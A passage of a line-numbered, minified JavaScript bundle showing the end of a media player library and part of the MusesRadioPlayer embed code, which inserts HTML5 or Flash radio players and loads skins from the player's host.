| 5656 |
: this.media.webkitPresentationMode === me |
| 5657 |
: null; |
| 5658 |
}, |
| 5659 |
}, |
| 5660 |
], |
| 5661 |
[ |
| 5662 |
{ |
| 5663 |
key: "supported", |
| 5664 |
value: function (e, t, n) { |
| 5665 |
return W.check(e, t, n); |
| 5666 |
}, |
| 5667 |
}, |
| 5668 |
{ |
| 5669 |
key: "loadSprite", |
| 5670 |
value: function (e, t) { |
| 5671 |
return ae(e, t); |
| 5672 |
}, |
| 5673 |
}, |
| 5674 |
{ |
| 5675 |
key: "setup", |
| 5676 |
value: function (e) { |
| 5677 |
var n = |
| 5678 |
arguments.length > 1 && void 0 !== arguments[1] |
| 5679 |
? arguments[1] |
| 5680 |
: {}, |
| 5681 |
i = null; |
| 5682 |
return ( |
| 5683 |
m.string(e) |
| 5684 |
? (i = Array.from(document.querySelectorAll(e))) |
| 5685 |
: m.nodeList(e) |
| 5686 |
? (i = Array.from(e)) |
| 5687 |
: m.array(e) && (i = e.filter(m.element)), |
| 5688 |
m.empty(i) |
| 5689 |
? null |
| 5690 |
: i.map(function (e) { |
| 5691 |
return new t(e, n); |
| 5692 |
}) |
| 5693 |
); |
| 5694 |
}, |
| 5695 |
}, |
| 5696 |
] |
| 5697 |
), |
| 5698 |
t |
| 5699 |
); |
| 5700 |
})(); |
| 5701 |
return (Re.defaults = ((Ie = pe), JSON.parse(JSON.stringify(Ie)))), Re; |
| 5702 |
}); |
| 5703 |
|
| 5704 |
/* muses */ |
| 5705 |
|
| 5706 |
var $jscomp = $jscomp || {}; |
| 5707 |
$jscomp.scope = {}; |
| 5708 |
$jscomp.ASSUME_ES5 = !1; |
| 5709 |
$jscomp.ASSUME_NO_NATIVE_MAP = !1; |
| 5710 |
$jscomp.ASSUME_NO_NATIVE_SET = !1; |
| 5711 |
$jscomp.defineProperty = |
| 5712 |
$jscomp.ASSUME_ES5 || "function" == typeof Object.defineProperties |
| 5713 |
? Object.defineProperty |
| 5714 |
: function (d, q, k) { |
| 5715 |
d != Array.prototype && d != Object.prototype && (d[q] = k.value); |
| 5716 |
}; |
| 5717 |
$jscomp.getGlobal = function (d) { |
| 5718 |
return "undefined" != typeof window && window === d |
| 5719 |
? d |
| 5720 |
: "undefined" != typeof global && null != global |
| 5721 |
? global |
| 5722 |
: d; |
| 5723 |
}; |
| 5724 |
$jscomp.global = $jscomp.getGlobal(this); |
| 5725 |
$jscomp.SYMBOL_PREFIX = "jscomp_symbol_"; |
| 5726 |
$jscomp.initSymbol = function () { |
| 5727 |
$jscomp.initSymbol = function () {}; |
| 5728 |
$jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol); |
| 5729 |
}; |
| 5730 |
$jscomp.Symbol = (function () { |
| 5731 |
var d = 0; |
| 5732 |
return function (q) { |
| 5733 |
return $jscomp.SYMBOL_PREFIX + (q || "") + d++; |
| 5734 |
}; |
| 5735 |
})(); |
| 5736 |
$jscomp.initSymbolIterator = function () { |
| 5737 |
$jscomp.initSymbol(); |
| 5738 |
var d = $jscomp.global.Symbol.iterator; |
| 5739 |
d || (d = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator")); |
| 5740 |
"function" != typeof Array.prototype[d] && |
| 5741 |
$jscomp.defineProperty(Array.prototype, d, { |
| 5742 |
configurable: !0, |
| 5743 |
writable: !0, |
| 5744 |
value: function () { |
| 5745 |
return $jscomp.arrayIterator(this); |
| 5746 |
}, |
| 5747 |
}); |
| 5748 |
$jscomp.initSymbolIterator = function () {}; |
| 5749 |
}; |
| 5750 |
$jscomp.arrayIterator = function (d) { |
| 5751 |
var q = 0; |
| 5752 |
return $jscomp.iteratorPrototype(function () { |
| 5753 |
return q < d.length ? { done: !1, value: d[q++] } : { done: !0 }; |
| 5754 |
}); |
| 5755 |
}; |
| 5756 |
$jscomp.iteratorPrototype = function (d) { |
| 5757 |
$jscomp.initSymbolIterator(); |
| 5758 |
d = { next: d }; |
| 5759 |
d[$jscomp.global.Symbol.iterator] = function () { |
| 5760 |
return this; |
| 5761 |
}; |
| 5762 |
return d; |
| 5763 |
}; |
| 5764 |
$jscomp.iteratorFromArray = function (d, q) { |
| 5765 |
$jscomp.initSymbolIterator(); |
| 5766 |
d instanceof String && (d += ""); |
| 5767 |
var k = 0, |
| 5768 |
w = { |
| 5769 |
next: function () { |
| 5770 |
if (k < d.length) { |
| 5771 |
var u = k++; |
| 5772 |
return { value: q(u, d[u]), done: !1 }; |
| 5773 |
} |
| 5774 |
w.next = function () { |
| 5775 |
return { done: !0, value: void 0 }; |
| 5776 |
}; |
| 5777 |
return w.next(); |
| 5778 |
}, |
| 5779 |
}; |
| 5780 |
w[Symbol.iterator] = function () { |
| 5781 |
return w; |
| 5782 |
}; |
| 5783 |
return w; |
| 5784 |
}; |
| 5785 |
$jscomp.polyfill = function (d, q, k, w) { |
| 5786 |
if (q) { |
| 5787 |
k = $jscomp.global; |
| 5788 |
d = d.split("."); |
| 5789 |
for (w = 0; w < d.length - 1; w++) { |
| 5790 |
var u = d[w]; |
| 5791 |
u in k || (k[u] = {}); |
| 5792 |
k = k[u]; |
| 5793 |
} |
| 5794 |
d = d[d.length - 1]; |
| 5795 |
w = k[d]; |
| 5796 |
q = q(w); |
| 5797 |
q != w && |
| 5798 |
null != q && |
| 5799 |
$jscomp.defineProperty(k, d, { |
| 5800 |
configurable: !0, |
| 5801 |
writable: !0, |
| 5802 |
value: q, |
| 5803 |
}); |
| 5804 |
} |
| 5805 |
}; |
| 5806 |
$jscomp.polyfill( |
| 5807 |
"Array.prototype.keys", |
| 5808 |
function (d) { |
| 5809 |
return d |
| 5810 |
? d |
| 5811 |
: function () { |
| 5812 |
return $jscomp.iteratorFromArray(this, function (d) { |
| 5813 |
return d; |
| 5814 |
}); |
| 5815 |
}; |
| 5816 |
}, |
| 5817 |
"es6", |
| 5818 |
"es3" |
| 5819 |
); |
| 5820 |
var mrx24gx = mrx24gx || []; |
| 5821 |
mrx24gx.push("ftinc"); |
| 5822 |
if (2 == mrx24gx.length) { |
| 5823 |
(function (d, q) { |
| 5824 |
function k(a, b) { |
| 5825 |
function c() {} |
| 5826 |
c.prototype = a; |
| 5827 |
a = new c(); |
| 5828 |
for (var g in b) a[g] = b[g]; |
| 5829 |
b.toString !== Object.prototype.toString && (a.toString = b.toString); |
| 5830 |
return a; |
| 5831 |
} |
| 5832 |
function w(a) { |
| 5833 |
return a instanceof Array |
| 5834 |
? function () { |
| 5835 |
return r.iter(a); |
| 5836 |
} |
| 5837 |
: "function" == typeof a.iterator |
| 5838 |
? u(a, a.iterator) |
| 5839 |
: a.iterator; |
| 5840 |
} |
| 5841 |
function u(a, b) { |
| 5842 |
if (null == b) return null; |
| 5843 |
null == b.__id__ && (b.__id__ = Ka++); |
| 5844 |
var c; |
| 5845 |
null == a.hx__closures__ |
| 5846 |
? (a.hx__closures__ = {}) |
| 5847 |
: (c = a.hx__closures__[b.__id__]); |
| 5848 |
null == c && |
| 5849 |
((c = function () { |
| 5850 |
return c.method.apply(c.scope, arguments); |
| 5851 |
}), |
| 5852 |
(c.scope = a), |
| 5853 |
(c.method = b), |
| 5854 |
(a.hx__closures__[b.__id__] = c)); |
| 5855 |
return c; |
| 5856 |
} |
| 5857 |
d.muses = d.muses || {}; |
| 5858 |
var D = function (a, b) { |
| 5859 |
this.r = new RegExp(a, b.split("u").join("")); |
| 5860 |
}; |
| 5861 |
D.__name__ = ["EReg"]; |
| 5862 |
D.prototype = { |
| 5863 |
match: function (a) { |
| 5864 |
this.r.global && (this.r.lastIndex = 0); |
| 5865 |
this.r.m = this.r.exec(a); |
| 5866 |
this.r.s = a; |
| 5867 |
return null != this.r.m; |
| 5868 |
}, |
| 5869 |
__class__: D, |
| 5870 |
}; |
| 5871 |
var r = function () {}; |
| 5872 |
r.__name__ = ["HxOverrides"]; |
| 5873 |
r.strDate = function (a) { |
| 5874 |
switch (a.length) { |
| 5875 |
case 8: |
| 5876 |
a = a.split(":"); |
| 5877 |
var b = new Date(); |
| 5878 |
b.setTime(0); |
| 5879 |
b.setUTCHours(a[0]); |
| 5880 |
b.setUTCMinutes(a[1]); |
| 5881 |
b.setUTCSeconds(a[2]); |
| 5882 |
return b; |
| 5883 |
case 10: |
| 5884 |
return (a = a.split("-")), new Date(a[0], a[1] - 1, a[2], 0, 0, 0); |
| 5885 |
case 19: |
| 5886 |
return ( |
| 5887 |
(b = a.split(" ")), |
| 5888 |
(a = b[0].split("-")), |
| 5889 |
(b = b[1].split(":")), |
| 5890 |
new Date(a[0], a[1] - 1, a[2], b[0], b[1], b[2]) |
| 5891 |
); |
| 5892 |
default: |
| 5893 |
throw new p("Invalid date format : " + a); |
| 5894 |
} |
| 5895 |
}; |
| 5896 |
r.cca = function (a, b) { |
| 5897 |
a = a.charCodeAt(b); |
| 5898 |
if (a == a) return a; |
| 5899 |
}; |
| 5900 |
r.substr = function (a, b, c) { |
| 5901 |
if (null == c) c = a.length; |
| 5902 |
else if (0 > c) |
| 5903 |
if (0 == b) c = a.length + c; |
| 5904 |
else return ""; |
| 5905 |
return a.substr(b, c); |
| 5906 |
}; |
| 5907 |
r.remove = function (a, b) { |
| 5908 |
b = a.indexOf(b); |
| 5909 |
if (-1 == b) return !1; |
| 5910 |
a.splice(b, 1); |
| 5911 |
return !0; |
| 5912 |
}; |
| 5913 |
r.iter = function (a) { |
| 5914 |
return { |
| 5915 |
cur: 0, |
| 5916 |
arr: a, |
| 5917 |
hasNext: function () { |
| 5918 |
return this.cur < this.arr.length; |
| 5919 |
}, |
| 5920 |
next: function () { |
| 5921 |
return this.arr[this.cur++]; |
| 5922 |
}, |
| 5923 |
}; |
| 5924 |
}; |
| 5925 |
var J = function () {}; |
| 5926 |
J.__name__ = ["Lambda"]; |
| 5927 |
J.exists = function (a, b) { |
| 5928 |
for (a = w(a)(); a.hasNext(); ) { |
| 5929 |
var c = a.next(); |
| 5930 |
if (b(c)) return !0; |
| 5931 |
} |
| 5932 |
return !1; |
| 5933 |
}; |
| 5934 |
J.filter = function (a, b) { |
| 5935 |
var c = new E(); |
| 5936 |
for (a = w(a)(); a.hasNext(); ) { |
| 5937 |
var g = a.next(); |
| 5938 |
b(g) && c.add(g); |
| 5939 |
} |
| 5940 |
return c; |
| 5941 |
}; |
| 5942 |
var E = function () { |
| 5943 |
this.length = 0; |
| 5944 |
}; |
| 5945 |
E.__name__ = ["List"]; |
| 5946 |
E.prototype = { |
| 5947 |
add: function (a) { |
| 5948 |
a = new K(a, null); |
| 5949 |
null == this.h ? (this.h = a) : (this.q.next = a); |
| 5950 |
this.q = a; |
| 5951 |
this.length++; |
| 5952 |
}, |
| 5953 |
push: function (a) { |
| 5954 |
this.h = a = new K(a, this.h); |
| 5955 |
null == this.q && (this.q = a); |
| 5956 |
this.length++; |
| 5957 |
}, |
| 5958 |
iterator: function () { |
| 5959 |
return new Z(this.h); |
| 5960 |
}, |
| 5961 |
__class__: E, |
| 5962 |
}; |
| 5963 |
var K = function (a, b) { |
| 5964 |
this.item = a; |
| 5965 |
this.next = b; |
| 5966 |
}; |
| 5967 |
K.__name__ = ["_List", "ListNode"]; |
| 5968 |
K.prototype = { __class__: K }; |
| 5969 |
var Z = function (a) { |
| 5970 |
this.head = a; |
| 5971 |
}; |
| 5972 |
Z.__name__ = ["_List", "ListIterator"]; |
| 5973 |
Z.prototype = { |
| 5974 |
hasNext: function () { |
| 5975 |
return null != this.head; |
| 5976 |
}, |
| 5977 |
next: function () { |
| 5978 |
var a = this.head.item; |
| 5979 |
this.head = this.head.next; |
| 5980 |
return a; |
| 5981 |
}, |
| 5982 |
__class__: Z, |
| 5983 |
}; |
| 5984 |
var e = (d.MRP = function () {}); |
| 5985 |
e.__name__ = ["MRP"]; |
| 5986 |
e.setElementId = function (a) { |
| 5987 |
e.elementId = a; |
| 5988 |
}; |
| 5989 |
e.setObjectId = function (a) { |
| 5990 |
e.objectId = a; |
| 5991 |
}; |
| 5992 |
e.getStatus = function () { |
| 5993 |
var a = e.getJSPlayer(); |
| 5994 |
return null == a ? null : a.ui.status; |
| 5995 |
}; |
| 5996 |
e.isPlaying = function () { |
| 5997 |
var a = e.getJSPlayer(); |
| 5998 |
return null == a ? !1 : a.isPlaying(); |
| 5999 |
}; |
| 6000 |
e.getJSPlayer = function () { |
| 6001 |
var a = e.objectId, |
| 6002 |
b = e.jsInstances; |
| 6003 |
if (null != t[a] ? !b.existsReserved(a) : !b.h.hasOwnProperty(a)) |
| 6004 |
return null; |
| 6005 |
a = e.objectId; |
| 6006 |
b = e.jsInstances; |
| 6007 |
return null != t[a] ? b.getReserved(a) : b.h[a]; |
| 6008 |
}; |
| 6009 |
e.play = function () { |
| 6010 |
var a = e.objectId, |
| 6011 |
b = e.jsInstances; |
| 6012 |
if (null != t[a] ? b.existsReserved(a) : b.h.hasOwnProperty(a)) |
| 6013 |
(a = e.objectId), |
| 6014 |
(b = e.jsInstances), |
| 6015 |
(null != t[a] ? b.getReserved(a) : b.h[a]).playAudio(); |
| 6016 |
a = e.objectId; |
| 6017 |
b = e.flashInstances; |
| 6018 |
if (null != t[a] ? b.existsReserved(a) : b.h.hasOwnProperty(a)) |
| 6019 |
(a = e.objectId), |
| 6020 |
(b = e.flashInstances), |
| 6021 |
(null != t[a] ? b.getReserved(a) : b.h[a]).playSound(); |
| 6022 |
}; |
| 6023 |
e.stop = function () { |
| 6024 |
var a = e.objectId, |
| 6025 |
b = e.jsInstances; |
| 6026 |
if (null != t[a] ? b.existsReserved(a) : b.h.hasOwnProperty(a)) |
| 6027 |
(a = e.objectId), |
| 6028 |
(b = e.jsInstances), |
| 6029 |
(null != t[a] ? b.getReserved(a) : b.h[a]).stopAudio(!1); |
| 6030 |
a = e.objectId; |
| 6031 |
b = e.flashInstances; |
| 6032 |
if (null != t[a] ? b.existsReserved(a) : b.h.hasOwnProperty(a)) |
| 6033 |
(a = e.objectId), |
| 6034 |
(b = e.flashInstances), |
| 6035 |
(null != t[a] ? b.getReserved(a) : b.h[a]).stopSound(); |
| 6036 |
}; |
| 6037 |
e.setVolume = function (a) { |
| 6038 |
var b = e.objectId, |
| 6039 |
c = e.jsInstances; |
| 6040 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6041 |
(b = e.objectId), |
| 6042 |
(c = e.jsInstances), |
| 6043 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setVolume(a / 100); |
| 6044 |
b = e.objectId; |
| 6045 |
c = e.flashInstances; |
| 6046 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6047 |
(b = e.objectId), |
| 6048 |
(c = e.flashInstances), |
| 6049 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setVolume(a / 100); |
| 6050 |
}; |
| 6051 |
e.showInfo = function (a) { |
| 6052 |
var b = e.objectId, |
| 6053 |
c = e.jsInstances; |
| 6054 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6055 |
(b = e.objectId), |
| 6056 |
(c = e.jsInstances), |
| 6057 |
(null != t[b] ? c.getReserved(b) : c.h[b]).ui.showInfo(a); |
| 6058 |
b = e.objectId; |
| 6059 |
c = e.flashInstances; |
| 6060 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6061 |
(b = e.objectId), |
| 6062 |
(c = e.flashInstances), |
| 6063 |
(null != t[b] ? c.getReserved(b) : c.h[b]).showInfo(a); |
| 6064 |
}; |
| 6065 |
e.setTitle = function (a) { |
| 6066 |
var b = e.objectId, |
| 6067 |
c = e.jsInstances; |
| 6068 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6069 |
(b = e.objectId), |
| 6070 |
(c = e.jsInstances), |
| 6071 |
(null != t[b] ? c.getReserved(b) : c.h[b]).ui.setTitle(a); |
| 6072 |
b = e.objectId; |
| 6073 |
c = e.flashInstances; |
| 6074 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6075 |
(b = e.objectId), |
| 6076 |
(c = e.flashInstances), |
| 6077 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setTitle(a); |
| 6078 |
}; |
| 6079 |
e.setUrl = function (a) { |
| 6080 |
var b = e.objectId, |
| 6081 |
c = e.jsInstances; |
| 6082 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6083 |
(b = e.objectId), |
| 6084 |
(c = e.jsInstances), |
| 6085 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setUrl(a); |
| 6086 |
b = e.objectId; |
| 6087 |
c = e.flashInstances; |
| 6088 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6089 |
(b = e.objectId), |
| 6090 |
(c = e.flashInstances), |
| 6091 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setUrl(a); |
| 6092 |
}; |
| 6093 |
e.setFallbackUrl = function (a) { |
| 6094 |
var b = e.objectId, |
| 6095 |
c = e.jsInstances; |
| 6096 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6097 |
(b = e.objectId), |
| 6098 |
(c = e.jsInstances), |
| 6099 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setFallbackUrl(a); |
| 6100 |
b = e.objectId; |
| 6101 |
c = e.flashInstances; |
| 6102 |
if (null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) |
| 6103 |
(b = e.objectId), |
| 6104 |
(c = e.flashInstances), |
| 6105 |
(null != t[b] ? c.getReserved(b) : c.h[b]).setFallbackUrl(a); |
| 6106 |
}; |
| 6107 |
e.setCallbackFunction = function (a) { |
| 6108 |
musesCallback = a; |
| 6109 |
}; |
| 6110 |
e.getScriptBaseHREF = function () { |
| 6111 |
return "//hosted.muses.org"; |
| 6112 |
}; |
| 6113 |
e.getSkin = function (a, b) { |
| 6114 |
return -1 != a.indexOf("/") || (b && ("original" == a || "tiny" == a)) |
| 6115 |
? a |
| 6116 |
: e.getScriptBaseHREF() + "/2.4.5/muses-" + a + ".xml"; |
| 6117 |
}; |
| 6118 |
e.createMusesStyleReset = function () { |
| 6119 |
if (null == mrpStyleReset) { |
| 6120 |
var a = window.document.createElement("style"), |
| 6121 |
b = window.document.createTextNode( |
| 6122 |
".musesStyleReset,.musesStyleReset DIV,.musesStyleReset IMG,.musesStyleReset SPAN { animation:none;animation-delay:0;animation-direction:normal;animation-duration:0;animation-fill-mode:none;animation-iteration-count:1;animation-name:none;animation-play-state:running;animation-timing-function:ease;backface-visibility:visible;background:0;background-attachment:scroll;background-clip:border-box;background-color:transparent;background-image:none;background-origin:padding-box;background-position:0 0;background-position-x:0;background-position-y:0;background-repeat:repeat;background-size:auto auto;border:0;border-style:none;border-width:medium;border-color:inherit;border-bottom:0;border-bottom-color:inherit;border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-style:none;border-bottom-width:medium;border-collapse:separate;border-image:none;border-left:0;border-left-color:inherit;border-left-style:none;border-left-width:medium;border-radius:0;border-right:0;border-right-color:inherit;border-right-style:none;border-right-width:medium;border-spacing:0;border-top:0;border-top-color:inherit;border-top-left-radius:0;border-top-right-radius:0;border-top-style:none;border-top-width:medium;bottom:auto;box-shadow:none;box-sizing:content-box;caption-side:top;clear:none;clip:auto;color:inherit;columns:auto;column-count:auto;column-fill:balance;column-gap:normal;column-rule:medium none currentColor;column-rule-color:currentColor;column-rule-style:none;column-rule-width:none;column-span:1;column-width:auto;content:normal;counter-increment:none;counter-reset:none;cursor:default;direction:ltr;display:block;empty-cells:show;float:none;font:normal;font-family:inherit;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;height:auto;hyphens:none;left:auto;letter-spacing:normal;line-height:normal;list-style:none;list-style-image:none;list-style-position:outside;list-style-type:disc;margin:0;margin-bottom:0;margin-left:0;margin-right:0;margin-top:0;max-height:none !important;max-width:none !important;min-height:0;min-width:0;opacity:1;orphans:0;outline:0;outline-color:invert;outline-style:none;outline-width:medium;overflow:visible;overflow-x:visible;overflow-y:visible;padding:0;padding-bottom:0;padding-left:0;padding-right:0;padding-top:0;page-break-after:auto;page-break-before:auto;page-break-inside:auto;perspective:none;perspective-origin:50% 50%;position:static;right:auto;tab-size:8;table-layout:auto;text-align:inherit;text-align-last:auto;text-decoration:none;text-decoration-color:inherit;text-decoration-line:none;text-decoration-style:solid;text-indent:0;text-shadow:none;text-transform:none;top:auto;transform:none;transform-style:flat;transition:none;transition-delay:0s;transition-duration:0s;transition-property:none;transition-timing-function:ease;unicode-bidi:normal;vertical-align:baseline;visibility:visible;white-space:normal;widows:0;width:auto;word-spacing:normal;z-index:auto;-o-user-select:none;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-tap-highlight-color:transparent;}" |
| 6123 |
); |
| 6124 |
a.appendChild(b); |
| 6125 |
window.document.head.appendChild(a); |
| 6126 |
mrpStyleReset = a; |
| 6127 |
} |
| 6128 |
}; |
| 6129 |
e.browserSupportsCodec = function (a) { |
| 6130 |
return "ogg" != a && "aac" != a && "mp3" != a ? !0 : mrpBrowserCompat[a]; |
| 6131 |
}; |
| 6132 |
e.isIE = function () { |
| 6133 |
return mrpBrowserCompat.isIE; |
| 6134 |
}; |
| 6135 |
e.insert = function (a) { |
| 6136 |
1 == a.forceFlash |
| 6137 |
? e.flashInsert(a) |
| 6138 |
: 0 < e.isIE() && 11 > e.isIE() |
| 6139 |
? (console.log( |
| 6140 |
"MusesRadioPlayer will use Flash Version here since you have Internet Explorer " + |
| 6141 |
e.isIE() + |
| 6142 |
" (wich is older than IE 11)." |
| 6143 |
), |
| 6144 |
e.flashInsert(a)) |
| 6145 |
: 0 < e.isIE() && |
| 6146 |
11 <= e.isIE() && |
| 6147 |
"aac" == a.codec && |
| 6148 |
FlashDetect.versionAtLeast(10, 1) |
| 6149 |
? (console.log( |
| 6150 |
"MusesRadioPlayer will use Flash Version here since you have Internet Explorer " + |
| 6151 |
e.isIE() + |
| 6152 |
" (wich claims to support AAC but it doesn't support it right)." |
| 6153 |
), |
| 6154 |
e.flashInsert(a)) |
| 6155 |
: 1 == a.forceHTML5 |
| 6156 |
? e.jsInsert(a) |
| 6157 |
: e.browserSupportsCodec(a.codec) |
| 6158 |
? e.jsInsert(a) |
| 6159 |
: FlashDetect.versionAtLeast(10, 1) |
| 6160 |
? (console.log( |
| 6161 |
"MusesRadioPlayer will use Flash Version here since your browser does not support " + |
| 6162 |
a.codec + |
| 6163 |
" codec!" |
| 6164 |
), |
| 6165 |
e.flashInsert(a)) |
| 6166 |
: (console.log( |
| 6167 |
"MusesRadioPlayer will not work here, since your browser does not support " + |
| 6168 |
a.codec + |
| 6169 |
" codec and you don't have flash plugin installed!" |
| 6170 |
), |
| 6171 |
e.jsInsert(a)); |
| 6172 |
}; |
| 6173 |
e.getMusesPlayerCounter = function () { |
| 6174 |
return musesPlayerCounter++; |
| 6175 |
}; |
| 6176 |
e.jsInsert = function (a) { |
| 6177 |
null == a.elementId && null != e.elementId && (a.elementId = e.elementId); |
| 6178 |
null == a.id && (a.id = e.objectId); |
| 6179 |
e.createMusesStyleReset(); |
| 6180 |
var b = "MusesRadioPlayer-HTML5-player-" + e.getMusesPlayerCounter(), |
| 6181 |
c = |
| 6182 |
'<div id="' + |
| 6183 |
b + |
| 6184 |
'" class="musesStyleReset" style="overflow:hidden; width:' + |
| 6185 |
a.width + |
| 6186 |
"px;height:" + |
| 6187 |
a.height + |
| 6188 |
'px;"></div>'; |
| 6189 |
null == a.elementId |
| 6190 |
? window.document.write(c) |
| 6191 |
: (window.document.getElementById(a.elementId).innerHTML = c); |
| 6192 |
null != a.callbackFunction && e.setCallbackFunction(a.callbackFunction); |
| 6193 |
a.elementId = b; |
| 6194 |
a.skin = e.getSkin(a.skin, !1); |
| 6195 |
b = e.jsInstances; |
| 6196 |
c = a.id; |
| 6197 |
a = new F(a); |
| 6198 |
null != t[c] ? b.setReserved(c, a) : (b.h[c] = a); |
| 6199 |
}; |
| 6200 |
e.flashInsert = function (a) { |
| 6201 |
null == a.elementId && null != e.elementId && (a.elementId = e.elementId); |
| 6202 |
null == a.id && (a.id = e.objectId); |
| 6203 |
null == a.wmode && (a.wmode = "window"); |
| 6204 |
var b = "url=" + a.url; |
| 6205 |
b += "&lang=" + (null != a.lang ? a.lang : "auto"); |
| 6206 |
b += "&codec=" + a.codec; |
| 6207 |
b = |
| 6208 |
b + |
| 6209 |
"&tracking=true" + |
| 6210 |
("&volume=" + (null != a.volume ? a.volume : 100)); |
| 6211 |
null != a.introurl && (b += "&introurl=" + a.introurl); |
| 6212 |
null != a.autoplay && |
| 6213 |
(b += "&autoplay=" + (a.autoplay ? "true" : "false")); |
| 6214 |
null != a.jsevents && |
| 6215 |
(b += "&jsevents=" + (a.jsevents ? "true" : "false")); |
| 6216 |
null != a.buffering && (b += "&buffering=" + a.buffering); |
| 6217 |
null != a.metadataMode && |
| 6218 |
((b += "&querymetadata=" + a.metadataMode), |
| 6219 |
null != a.metadataProxy && (b += "&metadataproxy=" + a.metadataProxy), |
| 6220 |
null != a.metadataInterval && (b += "&interval=" + a.metadataInterval)); |
| 6221 |
null != a.reconnectTime && (b += "&reconnecttime=" + a.reconnectTime); |
| 6222 |
null != a.fallbackUrl && (b += "&fallback=" + a.fallbackUrl); |
| 6223 |
b += "&skin=" + e.getSkin(a.skin, !0); |
| 6224 |
b += "&title=" + a.title; |
| 6225 |
b += "&welcome=" + a.welcome; |
| 6226 |
var c = e.getScriptBaseHREF() + "/muses-hosted.swf", |
| 6227 |
g = 'width="' + a.width + '" height="' + a.height + '" '; |
| 6228 |
null != a.bgcolor && (g += 'bgcolor="' + a.bgcolor + '" '); |
| 6229 |
var d = |
| 6230 |
'<object id="' + |
| 6231 |
a.id + |
| 6232 |
'" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ' + |
| 6233 |
g + |
| 6234 |
">"; |
| 6235 |
d = |
| 6236 |
d + |
| 6237 |
('<param name="movie" value="' + c + '" />') + |
| 6238 |
('<param name="flashvars" value="' + b + '" />') + |
| 6239 |
('<param name="wmode" value="' + a.wmode + '" />'); |
| 6240 |
d += '<param name="allowScriptAccess" value="always" />'; |
| 6241 |
d += '<param name="scale" value="noscale" />'; |
| 6242 |
null != a.bgcolor && |
| 6243 |
(d += '<param name="bgcolor" value="' + a.bgcolor + '" />'); |
| 6244 |
d += |
| 6245 |
'<embed name="' + |
| 6246 |
a.id + |
| 6247 |
'" src="' + |
| 6248 |
c + |
| 6249 |
'" flashvars="' + |
| 6250 |
b + |
| 6251 |
'" scale="noscale" wmode="' + |
| 6252 |
a.wmode + |
| 6253 |
'" ' + |
| 6254 |
g + |
| 6255 |
' allowScriptAccess="always" type="application/x-shockwave-flash" />'; |
| 6256 |
d += "</object>"; |
| 6257 |
null != a.callbackFunction && e.setCallbackFunction(a.callbackFunction); |
| 6258 |
null == a.elementId |
| 6259 |
? window.document.write(d) |
| 6260 |
: (window.document.getElementById(a.elementId).innerHTML = d); |
| 6261 |
b = null; |
| 6262 |
eval("instance = document." + e.objectId + ";"); |
| 6263 |
null == b && (b = document.getElementById(e.objectId)); |
| 6264 |
a = a.id; |
| 6265 |
c = e.flashInstances; |
| 6266 |
null != t[a] ? c.setReserved(a, b) : (c.h[a] = b); |
| 6267 |
}; |
| 6268 |
e.main = function () { |
| 6269 |
e.getScriptBaseHREF(); |
| 6270 |
}; |
| 6271 |
Math.__name__ = ["Math"]; |
| 6272 |
var I = function () {}; |
| 6273 |
I.__name__ = ["Std"]; |
| 6274 |
I.string = function (a) { |
| 6275 |
return x.__string_rec(a, ""); |
| 6276 |
}; |
| 6277 |
I.parseInt = function (a) { |
| 6278 |
var b = parseInt(a, 10); |
| 6279 |
0 != b || (120 != r.cca(a, 1) && 88 != r.cca(a, 1)) || (b = parseInt(a)); |
| 6280 |
return isNaN(b) ? null : b; |
| 6281 |
}; |
| 6282 |
var N = function () { |
| 6283 |
this.b = ""; |
| 6284 |
}; |
| 6285 |
N.__name__ = ["StringBuf"]; |
| 6286 |
N.prototype = { __class__: N }; |
| 6287 |
var y = function () {}; |
| 6288 |
y.__name__ = ["StringTools"]; |
| 6289 |
y.isSpace = function (a, b) { |
| 6290 |
a = r.cca(a, b); |
| 6291 |
return 8 < a && 14 > a ? !0 : 32 == a; |
| 6292 |
}; |
| 6293 |
y.ltrim = function (a) { |
| 6294 |
for (var b = a.length, c = 0; c < b && y.isSpace(a, c); ) ++c; |
| 6295 |
return 0 < c ? r.substr(a, c, b - c) : a; |
| 6296 |
}; |
| 6297 |
y.rtrim = function (a) { |
| 6298 |
for (var b = a.length, c = 0; c < b && y.isSpace(a, b - c - 1); ) ++c; |
| 6299 |
return 0 < c ? r.substr(a, 0, b - c) : a; |
| 6300 |
}; |
| 6301 |
y.trim = function (a) { |
| 6302 |
return y.ltrim(y.rtrim(a)); |
| 6303 |
}; |
| 6304 |
y.replace = function (a, b, c) { |
| 6305 |
return a.split(b).join(c); |
| 6306 |
}; |
| 6307 |
var Da = function () {}; |
| 6308 |
Da.__name__ = ["Type"]; |
| 6309 |
Da.getClassName = function (a) { |
| 6310 |
a = a.__name__; |
| 6311 |
return null == a ? null : a.join("."); |
| 6312 |
}; |
| 6313 |
var h = function (a) { |
| 6314 |
this.nodeType = a; |
| 6315 |
this.children = []; |
| 6316 |
this.attributeMap = new v(); |
| 6317 |
}; |
| 6318 |
h.__name__ = ["Xml"]; |
| 6319 |
h.parse = function (a) { |
| 6320 |
return L.parse(a); |
| 6321 |
}; |
| 6322 |
